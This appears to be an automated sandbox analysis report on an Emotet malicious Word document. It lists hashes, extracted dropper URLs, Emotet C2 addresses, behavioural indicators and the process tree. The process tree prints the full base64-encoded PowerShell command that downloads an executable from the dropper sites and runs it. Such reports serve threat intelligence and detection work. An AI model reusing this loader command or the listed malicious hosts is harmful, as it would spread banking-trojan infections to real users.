emotet | b569b991254c238acc98898287e4aee2d2c3a2e40a67a2a17bb5ea583cd5558e

General

Target
emotet_e1_b569b991254c238acc98898287e4aee2d2c3a2e40a67a2a17bb5ea583cd5558e_2020-08-18__132554._doc.doc
Size 174KB
Sample200818-rcbsbv1h9x
SHA256 b569b991254c238acc98898287e4aee2d2c3a2e40a67a2a17bb5ea583cd5558e
MD5 36aa69f5187a6bb788df980eac7c0d76
SHA1 1d84b48a6745c533559097390322cda6ae90fa56
SHA512 899faa23e78de57b1a0fafdc2637293902fc9e437e47643f88680c56f051169172bc6a746fcc49e7c797893d1b3bcc59fa491fcaf7114adb0c4782af2752daa1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://globaliaespacios.com/wp-includes/OXjBq028664/
exe.dropper
http://lupusalimentos.com.br/assinatura/ooJNJihAvv/
exe.dropper
https://maniot.com/TN3611948/
exe.dropper
https://mickreevesmodels.co.uk/micks_chat/bzqL9/
exe.dropper
http://markantes.com/jason/QuPn889/

Extracted

Family

emotet

C2

82.163.245.38:80
209.126.6.222:8080
5.153.250.14:8080
186.70.127.199:8090
190.128.173.10:80
190.195.129.227:8090
91.219.169.180:80
45.173.88.33:80
185.33.0.233:80
188.2.217.94:80
207.144.103.227:80
45.161.242.102:80
219.92.13.25:80
190.163.31.26:80
68.183.170.114:8080
191.99.160.58:80
73.213.208.163:80
94.176.234.118:443
104.131.41.185:8080
45.33.77.42:8080
114.109.179.60:80
213.60.96.117:80
41.84.248.134:443
83.169.21.32:7080
82.76.111.249:443
217.199.160.224:7080
80.249.176.206:80
82.196.15.205:8080
204.225.249.100:7080
190.6.193.152:8080
189.2.177.210:443
177.72.13.80:80
24.135.1.177:80
190.115.18.139:8080
192.241.146.84:8080
209.236.123.42:8080
213.176.36.147:8080
5.196.35.138:7080
104.131.103.37:8080
51.159.23.217:443
190.147.137.153:443
149.62.173.247:8080
137.74.106.111:7080
61.92.159.208:8080
177.73.0.98:443
24.135.198.218:80
85.105.140.135:443
187.162.248.237:80
46.28.111.142:7080
116.125.120.88:443
87.106.46.107:8080
212.71.237.140:8080
12.162.84.2:8080
178.79.163.131:8080
111.67.12.221:8080
95.9.180.128:80
192.241.143.52:8080
201.171.150.41:443
24.148.98.177:80
190.190.148.27:8080
186.103.141.250:443
72.47.248.48:7080
68.183.190.199:8080
172.104.169.32:8080
185.94.252.12:80
178.250.54.208:8080
91.222.77.105:80
217.13.106.14:8080
77.90.136.129:8080
2.47.112.152:80
95.180.234.21:80
186.250.52.226:8080
181.129.96.162:8080
77.55.211.77:8080
185.94.252.27:443
174.100.27.229:80
177.74.228.34:80
67.247.242.247:80
95.85.151.205:80
70.32.115.157:8080
89.32.150.160:8080
212.93.117.170:80
50.28.51.143:8080
94.206.45.18:80
202.4.57.96:80
191.182.6.118:80
58.171.153.81:80
143.0.87.101:80
51.255.165.160:8080
70.32.84.74:8080
73.116.193.136:80
170.81.48.2:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4000	808	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2112-14-0x00000000022B0000-0x00000000022BC000-memory.dmp	emotet
behavioral2/memory/2112-14-0x00000000022B0000-0x00000000022BC000-memory.dmp	emotet
behavioral2/memory/2572-17-0x0000000000750000-0x000000000075C000-memory.dmp	emotet
behavioral2/memory/2572-17-0x0000000000750000-0x000000000075C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	4000	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2112	X706_qxb.exe
2572	srmstormod.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\srmstormod\srmstormod.exe	X706_qxb.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4024	WINWORD.EXE
4024	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4000	powersheLL.exe
4000	powersheLL.exe
4000	powersheLL.exe
2572	srmstormod.exe
2572	srmstormod.exe
2572	srmstormod.exe
2572	srmstormod.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4000	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
4024	WINWORD.EXE
2112	X706_qxb.exe
2112	X706_qxb.exe
2572	srmstormod.exe
2572	srmstormod.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4000 wrote to memory of 2112	4000	powersheLL.exe	74
PID 4000 wrote to memory of 2112	4000	powersheLL.exe	74
PID 4000 wrote to memory of 2112	4000	powersheLL.exe	74
PID 2112 wrote to memory of 2572	2112	X706_qxb.exe	75
PID 2112 wrote to memory of 2572	2112	X706_qxb.exe	75
PID 2112 wrote to memory of 2572	2112	X706_qxb.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b569b991254c238acc98898287e4aee2d2c3a2e40a67a2a17bb5ea583cd5558e_2020-08-18__132554._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4024

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAHkAcAAwAHAAawA5AD0AKAAnAEcAbABfADEAJwArACcAMQBxAHUAJwApADsAJgAoACcAbgAnACsAJwBlACcAKwAnAHcALQBpAHQAZQBtACcAKQAgACQARQBuAHYAOgB0AGUAbQBwAFwATwBmAEYASQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAYABVAHIAYABpAHQAWQBQAHIATwB0AG8AQwBPAGwAIgAgAD0AIAAoACcAdABsAHMAJwArACcAMQAyACcAKwAnACwAIAAnACsAJwB0ACcAKwAnAGwAJwArACcAcwAxADEALAAgAHQAbABzACcAKQA7ACQAQQA4AGkAbgBzADcAMQAgAD0AIAAoACcAWAA3ADAAJwArACcANgBfACcAKwAnAHEAeABiACcAKQA7ACQATwB0AHEANABkAGwAZQA9ACgAJwBDAHAAJwArACcANQB3AGIAOQB0ACcAKQA7ACQAVgB6AGkAZAA0AGgAZAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAUwB2AEUATwBmAGYAaQBjACcAKwAnAGUAMgAnACsAJwAwADEAOQAnACsAJwBTAHYAJwArACcARQAnACkAIAAgAC0AQwBSAEUAUABMAEEAQwBFACAAIAAnAFMAdgBFACcALABbAEMASABBAFIAXQA5ADIAKQArACQAQQA4AGkAbgBzADcAMQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVgA2AHIAaQBvADIAdQA9ACgAJwBPAHEAJwArACcAdwAnACsAJwA4ADcAbgA0ACcAKQA7ACQAUgA4AGoAMwB0AGgAdQA9ACYAKAAnAG4AZQB3ACcAKwAnAC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAGwAaQBlAG4AVAA7ACQARwA3AGEAdABtAGIAcgA9ACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvAGcAbABvAGIAJwArACcAYQBsAGkAYQBlAHMAcABhAGMAaQBvACcAKwAnAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjACcAKwAnAGwAdQAnACsAJwBkACcAKwAnAGUAcwAvAE8AJwArACcAWABqAEIAcQAwADIAOAAnACsAJwA2ADYANAAvACcAKwAnACoAaAB0AHQAcAA6AC8ALwBsAHUAcAB1AHMAYQBsACcAKwAnAGkAbQBlAG4AdAAnACsAJwBvAHMALgBjAG8AbQAnACsAJwAuAGIAcgAnACsAJwAvAGEAcwBzAGkAbgBhAHQAdQByAGEALwBvAG8ASgBOAEoAaQBoAEEAdgAnACsAJwB2AC8AKgBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AJwArACcAbQBhAG4AaQAnACsAJwBvACcAKwAnAHQALgBjAG8AbQAvAFQATgAzADYAMQAnACsAJwAxADkANAA4ACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvACcAKwAnAC8AbQBpACcAKwAnAGMAawAnACsAJwByAGUAZQB2AGUAcwBtAG8AZABlAGwAcwAuACcAKwAnAGMAbwAuAHUAawAnACsAJwAvAG0AaQBjAGsAcwBfAGMAaAAnACsAJwBhAHQALwBiACcAKwAnAHoAcQBMADkALwAqAGgAdAAnACsAJwB0AHAAOgAnACsAJwAvAC8AbQBhAHIAawBhAG4AdABlAHMALgBjAG8AbQAvAGoAYQBzAG8AbgAnACsAJwAvAFEAdQAnACsAJwBQAG4AOAA4ADkALwAnACkALgAiAHMAYABQAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgBnADcAMwBzAHYAZgA9ACgAJwBXADkAeABiADEAYwAnACsAJwA2ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFoAcwBxAHkAcwBhAGEAIABpAG4AIAAkAEcANwBhAHQAbQBiAHIAKQB7AHQAcgB5AHsAJABSADgAagAzAHQAaAB1AC4AIgBEAE8AdwBuAGAATABvAGEARABmAGAAaQBgAGwARQAiACgAJABaAHMAcQB5AHMAYQBhACwAIAAkAFYAegBpAGQANABoAGQAKQA7ACQATABkAGUAdwBnADUAbwA9ACgAJwBZACcAKwAnAGQAaQB5ADEAaQAnACsAJwA4ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABWAHoAaQBkADQAaABkACkALgAiAGwAYABlAE4ARwBUAGgAIgAgAC0AZwBlACAAMwA0ADkAMQA0ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFYAegBpAGQANABoAGQAKQA7ACQAVgBpADcAYwAyAGkAagA9ACgAJwBMACcAKwAnAG4AcgAnACsAJwBlAHQAeABzACcAKQA7AGIAcgBlAGEAawA7ACQAUgByADMAaQBnADYAdQA9ACgAJwBCADUAcAAnACsAJwBtACcAKwAnAHMAbAB4ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBwADgANgBfADcAegA9ACgAJwBXACcAKwAnADgAMQByACcAKwAnADkAegBwACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Users\Admin\AppData\Local\Temp\Office2019\X706_qxb.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\X706_qxb.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\SysWOW64\srmstormod\srmstormod.exe
    "C:\Windows\SysWOW64\srmstormod\srmstormod.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2112-14-0x00000000022B0000-0x00000000022BC000-memory.dmp

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memory/2572-17-0x0000000000750000-0x000000000075C000-memory.dmp

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memory/4000-8-0x00007FFA928F0000-0x00007FFA932DC000-memory.dmp

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memory/4000-9-0x000001DBF7CF0000-0x000001DBF7CF1000-memory.dmp

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memory/4000-10-0x000001DBF7EB0000-0x000001DBF7EB1000-memory.dmp

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memory/4024-0-0x00007FFA9A060000-0x00007FFA9A726000-memory.dmp

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memory/4024-7-0x000001E4CDB91000-0x000001E4CDB96000-memory.dmp

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memory/4024-6-0x000001E4CDB90000-0x000001E4CDB91000-memory.dmp

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memory/4024-5-0x000001E4CB5E7000-0x000001E4CB628000-memory.dmp

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memory/4024-4-0x000001E4CD9D0000-0x000001E4CD9D3000-memory.dmp

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memory/4024-3-0x000001E4CD9CB000-0x000001E4CD9D0000-memory.dmp

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memory/4024-2-0x000001E4CD9D0000-0x000001E4CD9D3000-memory.dmp

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memory/4024-1-0x000001E4CD9D0000-0x000001E4CD9D3000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads